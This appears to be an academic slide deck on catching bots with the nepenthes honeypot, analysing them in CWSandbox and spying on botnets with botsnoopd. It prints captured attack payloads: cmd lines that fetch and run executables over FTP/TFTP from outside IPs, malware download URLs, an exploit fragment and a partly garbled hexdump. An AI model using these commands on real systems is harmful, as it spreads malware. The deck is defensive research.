Catching Malware
Detecting, Tracking, and Mitigating Botnets

Pi1 - Laboratory for Dependable Distributed Systems

http://mwcollect.org
Outline

• Motivation

• Tools & techniques to learn more about botnets
  • nepenthes
  • CWSandbox
  • botsnoopd

• Results
Motivation

• Botnet monitoring
  • Find new botnets independently
• Bots spread like worms
  • Observe infection and analyze bot to obtain Command and Control (C&C) information
Typical communication flow using central (IRC) server for Command & Control (C&C)

http://honeynet.org/papers/bots
Collecting Malware

Automatically Downloading Malware Binaries
• Tool to automatically “collect” malware like bots and other autonomous spreading malware

• Emulate known vulnerabilities and download malware trying to exploit these vulnerabilities

• Available at http://nepenthes.mwcollect.org
Architecture

- Modular architecture
- Vulnerability modules
- Shellcode handler
- Download modules
- Submission modules
- Trigger events
- Shell-emulation and virtual filesystem
Schematic overview

- geolocation-hostip
- geolocation-geoip
- module-portwatch
- nopenthes core
- TCP Port 445
- TCP Port 135
- TCP Port 80
- TCP Port
- log-download
- log-irc
- dnsresolve-adsns
- vuln-ssass
- vuln-dcom
- vuln-asn1
- vuln-wins
- shellcode-generic
- shellemu-winnnt
- download-tftp
- download-ftp
- download-http
- download-link
- submit-file
- submit-norman
- Exploit
- Payload
- URL of Malware
- Downloaded Binary

http://mwcollect.org
Vulnerability modules

- Emulate vulnerable services
- Play with exploits until they send us their payload (finite state machine)
- Currently more than 20 available vulnerability modules
- More in development
- Analysis of known vulnerabilities & exploits necessary
- Automation possible?
Example

- Emulation of MS04-011 (LSASS)

- Proof-of-Concept exploit from houseofdabus:

```c
if (send(sockfd, req2, sizeof(req1)-1, 0) == -1) {
    printf("[-] Send failed\n");
    exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);

if (send(sockfd, req3, sizeof(req2)-1, 0) == -1) {
    printf("[-] Send failed\n");
    exit(1);
}
len = recv(sockfd, recvbuf, 1600, 0);
```
Example

- Answers from vuln-lsass (taken from mwcollectd)

```c
    case RPCS_GOT_LSASS_STAGE3:
    case RPCS_GOT_LSASS_STAGE4:
    case RPCS_GOT_LSASS_STAGE5:
    {
        unsigned char szBuffer[256];

        for (unsigned int i = 0; i < sizeof(szBuffer); ++i)
            szBuffer[i] = rand() % 0xFF;

        m_pCollector->getNetworkInterface()->sendData(iHandle, szBuffer, sizeof(szBuffer));
        m_dsState = (rpc_state_t) ((unsigned int) m_dsState + 1);
    }
```
Vulnerability modules

- vuln-dcom (MS03-039)
- vuln-lsass (MS04-011)
- vuln-asn1 (MS04-007)
- vuln-wins (MS04-045)
- vuln-{mssql,msdtc, msmq}
- vuln-{optix, kuang2, bagle, mydoom}
- vuln-veritas
- ...
Shellcode modules

- Automatically extract URL used by malware to transfer itself to compromised machine

- `sch_generic_xor`
- Generic XOR decoder

- `sch_generic_createprocess`

- `sch_generic_url`

- `sch_generic_cmd`
```plaintext
cmd /c
echo open 84.178.54.239 >> ii &
echo user a a a >> ii &
echo binary >> ii &
echo get svchosts.exe >> ii &
echo bye >> ii &
ftp -n -v -s:ii &
del ii &
svchosts.exe
```

```plaintext
ftp://a:a@84.178.54.239/svchosts.exe
```
warn dia] Unknown IIS POST foobar 2048 bytes State 0

--- hexdump (0x1c1b6210, 0x00000800) ---

0x0000  47 45 54 20 2f 20 48 54  50 2f 31 2e 30 0d 0a  GET / HT TP/1.0..
0x0010  48 6f 73 74 3a XX XX XX  XX XX XX XX XX XX XX XX XX XX..Host: XX XXXXXXXX
0x0020  XX XX XX XX 0d 0a 41 75  74 68 6f 72 69 7a 61 74  XXXX..Autho...
0x0030  69 6f 6e 3a 20 4e 65 67  6f 74 69 61 74 65 20 59  ion: Negotiate Y
0x0040  49 49 51 65 67 59 47 4b  77 59 42 42 51 55 43 6f  IIQegYGK wYBBQUCo
0x0050  49 49 51 62 6a 43 43 45  47 71 68 67 68 42 6d 49  IIQbjCCE gghhBmI
0x0060  53 44 4c 45 44 49 74 77  48 4b 32 4l 61 41 6b  4lcJATDM cBki0Awh
0x0070  6c 63 4a 41 54 44 4d 63  42 6b 69 30 41 77 68  cB4D4tAD cBki0Awh
0x0080  43 42 34 44 34 74 41 44  ItwHK2La AjpCwAAA ItANAy8A
0x0090  49 41 41 69 32 67 38 58  ItwHK2La AjpCwAAA ItANAy8A
0x00a0  7a 48 32 59 46 62 72 44  Jj+ig5X/ WjvzuBga Jj+i5X/
0x00b0  57 6a 76 7a 75 42 67 61  +fo7v/// 2NtZCAy
0x00c0  4a 6a 2b 69 67 35 58 2f  yB0ZnRwI C1pIDEzN
0x00d0  7a 48 32 59 46 62 72 44  a2b697358
0x00e0  58 68 70 64 41 42 43 51  WjvzuBga Jj+i5X/ WjvzuBga Jj+i5X/
0x00f0  54 63 31 4c 6a 45 32 4e  C4xNjkUm Tc1lJ2eN
0x0100  43 34 78 4e 6a 6b 75 4d  C4xNjkUm Tc1lJ2eN
0x0110  54 35 6c 65 47 55 6d 63  yBHRVQgd 2Nuc2Z0e
0x0120  32 4e 5c 65 66 32 5a 30 2Nuc2Z0e S5leGUmZ
0x0130  53 35 6c 65 47 55 6d 63  yBHRVQgd 2Nuc2Z0e
0x0140  53 35 6c 65 47 55 6d 63  yBHRVQgd 2Nuc2Z0e
0x0150  58 68 70 64 41 42 43 51  XhpABCQ kJCQkJCQ
0x0160  4b 6a 43 51 6b 4a 43 51  XhpABCQ kJCQkJCQ
0x0170  6b 4a 43 51 6b 4a 43 51  XhpABCQ kJCQkJCQ
cat asn1-iis.txt | cut -b 83- | sed "s/ //g" > asn1-iis.dec
mimencode -u asn1-iis.dec | hexdump -C

00000000 60 82 10 7a 06 06 2b 06 01 05 05 02 a0 82 10 6e |`..z..+.0...
0000010 30 82 10 6a a1 82 10 66 23 82 10 62 03 82 04 01 |0..j..f#..b....
0000020 00 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |.AAAAAAAAAAAAAAA|
0000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |.AAAAAAAAAAAAAAA|
0000040

cmd /c
tftp -i 134.169.175.167 GET wcnsfty.exe &
start wcnsfty.exe &
exit

tftp://134.169.175.167/wcnsfty.exe
Download modules

- `download-{http,tftp}`
- Handles HTTP / TFTP URIs
- `download-ftp`
- FTP client from Windows is not RFC compliant...
- `download-{csend,creceive}`
- `download-link`
- `link://10.0.0.1/HJ4G==`
Submission modules

- **submit-file**
  - Write file to hard disk

- **submit-\{mysql,postgres,mssql\}**
  - Store file in database

- **submit-norman**
  - Submit file to [http://sandbox.norman.no](http://sandbox.norman.no)

- **submit-gotek**
  - Send file via G.O.T.E.K.
INFO down mgr: Handler tftp download handler will download tftp://ftp.peruvianpower.com/msnbeta.exe
INFO net handler: UDP 'connecting' 255.255.255.255:69
INFO down mgr: Handler tftp download handler will download tftp://run.limateam.com/msnmsg.exe
INFO net handler: UDP 'connecting' 255.255.255.255:69
INFO down handler dia: Max Timeouts reached (7) tftp://84.60.107.145/taskhosst.exe
WARN dia: Unknown ASN1_SMB Shellcode (Buffer 0 bytes) (State 0)
WARN dia: Ignoring zero-length hexdump.
WARN module: Unknown PNP Shellcode (Buffer 0 bytes) (State 0)
INFO module: Ignoring zero-length hexdump.
WARN module: Unknown LSASS Shellcode (Buffer 0 bytes) (State 0)
INFO module: Ignoring zero-length hexdump.
WARN handler dia: Unknown DCOM Shellcode (Buffer 0 bytes) (State 0)
WARN dia: Ignoring zero-length hexdump.
INFO handler dia: Unknown DCOM request, dropping
WARN dia: Ignoring zero-length hexdump.
WARN dia: Unknown DCOM Shellcode (Buffer 0 bytes) (State 0)
WARN dia: Ignoring zero-length hexdump.
WARN dia: Unknown DCOM Shellcode (Buffer 0 bytes) (State 1)
WARN dia: Ignoring zero-length hexdump.
INFO dia: Handler tftp download handler will download tftp://84.60.234.250/taskmng.exe
INFO net handler: UDP 'connecting' 84.60.234.250:69
mwcollect Alliance

https://alliance.mwcollect.org
Statistics: nepenthes

- Four months nepenthes on /18 network:
  - 50,000,000+ files downloaded
  - 14,000+ unique binaries based on md5sum
  - ~1,000 different botnets

<table>
<thead>
<tr>
<th></th>
<th>AV engine 1</th>
<th>AV engine 2</th>
<th>AV engine 3</th>
<th>AV engine 4</th>
</tr>
</thead>
<tbody>
<tr>
<td>Complete set (14,414 binaries)</td>
<td>85.0%</td>
<td>85.3%</td>
<td>90.2%</td>
<td>78.1%</td>
</tr>
<tr>
<td>Latest 24 hours (460 binaries)</td>
<td>82.6%</td>
<td>77.8%</td>
<td>84.1%</td>
<td>73.1%</td>
</tr>
</tbody>
</table>

- Korgobot/Padobot dominates
CWSandbox

Automatically Analyzing a Collected binary
Overview

- Automatic behaviour analysis
  - *Execute the binary and observe what it is doing*
- Similar to Norman Sandbox
  - [http://sandbox.norman.no](http://sandbox.norman.no)
- Part of diploma thesis by Carsten Willems
- Currently stable beta version available
- Results look promising
  - [http://www.cwsandbox.org](http://www.cwsandbox.org)
• Schematic Overview of Windows API

Windows Applications and Services

Windows API

Kernel32.dll | Advapi32.dll | User32.dll | ...

Native API (Ntdll.dll)

Usermode

Kernelmode

Windows Kernel
(ntoskrnl.exe, win32k.sys, ...)

Chapter 3 Basics
Figure ytx: Windows API Overview

The Native API is not the end of the execution chain, which is performed when an API function is executed. As mentioned, a running process has to switch in kernel mode in order to perform operations on the system resources. This is mostly done in the ntdll.dll library, although some Windows API functions switch to kernel mode by their self. The transfer to kernel mode is performed by initiating a so-called system interrupt. Windows uses int 1xx for that purpose, or by using specific commands in the command line for Intel or AMD processors.
The Native API is not the end of the execution chain which is performed when an API function is executed. As mentioned, the running process has to switch into kernel mode in order to perform operations on the system resources. This is mostly done in the ntdll.dll although some Windows API functions switch to kernel mode by their self. The transfer to kernel mode is performed by initiating a softwarer interrupt. Windows uses interrupt 5 for that purpose or by using processor specific commands for Intel processors or the AMD processor Control is then transferred to NTOSKRNL.exe which is the core of the Windows operating system. See section 3.6 for more details about what is going on in NTOSKRNL.exe.
• API hooking by Inline Code Overwriting

*Example*

**Kernel32.dll-CreateFileA (*with* Hook):**

```
77E8C1F7    JMP [CreateFileA-Hook]
77E8C1FD
77E8C202
77E8C1FD
...          \--- Custom Hook Code \---
77E8C226    RET
```

**Application.CreateFileA-Hook:**

```
2005EDB7    - custom hook code -
...
2005EDF0    JMP [CreateFileA-SavedStub]
```

**Application.CreateFileA-SavedStub:**

```
21700000    PUSH ebp
21700001    MOV ebp, esp
21700003    PUSH SS:[ebp+8]
21700006    JMP $77E8C1FD
```
• API hooking, Code Overwriting, and DLL injection

• Hooking of Win32 and Native API calls

• Tracing of functions for file access, process access, Winsock communication, registry, ...

• Execution for three minutes, then processing of results → analysis log in XML format
Schematic overview

- CWSandbox & CWMonitor.dll

```
Malware Application

cwmonitor.dll

executes

communication

Malware Application Child

cwmonitor.dll

executes

communication

cwsandbox.exe
```
CWSandbox-Demo
Tracking Botnets

Observing a Botnet
Tracking Botnets

- Botnets can not impose authentication that is not also encoded in the bot's binary
- Usually, commands are flooded to all bots and not selectively to specific bots
- Most botnets are usually so large that not all bots are expected to respond to commands in time

➤ We can effectively subvert botnets by joining it with our own snoop clients, without being detected
Bot Impersonification

- Run bot binary on honeypot, observe from outside
- *Better:* Use existing software for control protocol
  - For IRC-based botnets: irssi, mIRC, xchat, ...
- *Even better:* Implement generic bot emulation client
  - botsnoopd
botsnoopd

- Daemon dedicated to snoop different kinds of botnets
- Not limited to IRC, but also HTTP and others
- Modular design, extensible via plugins
- Uses libnetworkd for performance
- Scales to at least 100 botnets on single machine
- Will be released under GPL
Schematic Overview

proxy−socks4
proxy−http

client−irc
client−http
client−nugache

log−file
log−postgres
log−irc

emulate−genirc
emulate−rbot
react−snortsam
react−asnmail
Botnet-Demo
Botnet Mitigation

How to Stop Botnets?
Mitigation

• Change DNS entry
  • hax0r.example.org should resolve to 127.0.0.1
• Block traffic at router
  • All access to C&C IP should be monitored
• Take down C&C-Server
  • Often cooperation needed
• Honeypot-based techniques can help us to learn more about autonomous spreading malware

• With the help of automated capture and analysis, we can efficiently detect botnets
  • Local and global mitigation possible

• Needs more research, e.g., 0day-support

• More nepenthes sensors would be helpful ;-)}
Thorsten Holz
http://www-pil.informatik.uni-mannheim.de/thorsten.holz@gmail.com

Georg Wicherski
http://pixel-house.net/georg-wicherski@pixel-house.net

More information: